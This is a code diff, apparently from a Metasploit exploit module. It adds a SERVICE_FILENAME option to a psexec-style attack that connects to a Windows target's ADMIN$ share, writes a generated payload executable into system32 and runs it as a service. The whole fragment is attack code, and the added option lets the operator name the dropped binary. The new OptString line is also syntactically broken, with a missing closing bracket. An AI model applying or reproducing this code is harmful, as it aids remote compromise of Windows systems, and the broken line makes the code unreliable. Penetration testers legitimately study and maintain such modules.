@@ -82,7 +82,8 @@ def initialize(info = {})
82
82
register_advanced_options (
83
83
[
84
84
OptBool . new ( 'DB_REPORT_AUTH' , [ true , "Report an auth_note upon a successful connection" , true ] ) ,
85
- OptBool . new ( 'MOF_UPLOAD_METHOD' , [ true , "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )" , false ] )
85
+ OptBool . new ( 'MOF_UPLOAD_METHOD' , [ true , "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )" , false ] ) ,
86
+ OptString . new ( 'SERVICE_FILENAME' , [ false , "Filename to to be used on target for the service binary" , nil )
86
87
] , self . class )
87
88
end
88
89
@@ -133,7 +134,7 @@ def exploit
133
134
return
134
135
end
135
136
simple . connect ( "ADMIN$" )
136
- filename = rand_text_alpha ( 8 ) + ".exe"
137
+ datastore [ 'SERVICE_FILENAME' ] ? filename = datastore [ 'SERVICE_FILENAME' ] : filename = rand_text_alpha ( 8 ) + ".exe"
137
138
exe = generate_payload_exe
138
139
fd = smb_open ( "\\ system32\\ #{ filename } " , 'rwct' )
139
140
fd << exe
@@ -152,7 +153,7 @@ def exploit
152
153
# Disconnect from the ADMIN$
153
154
simple . disconnect ( "ADMIN$" )
154
155
else
155
- filename = rand_text_alpha ( 8 ) + ".exe"
156
+ datastore [ 'SERVICE_FILENAME' ] ? filename = datastore [ 'SERVICE_FILENAME' ] : filename = rand_text_alpha ( 8 ) + ".exe"
156
157
servicename = rand_text_alpha ( 8 )
157
158
158
159
# Upload the shellcode to a file
0 commit comments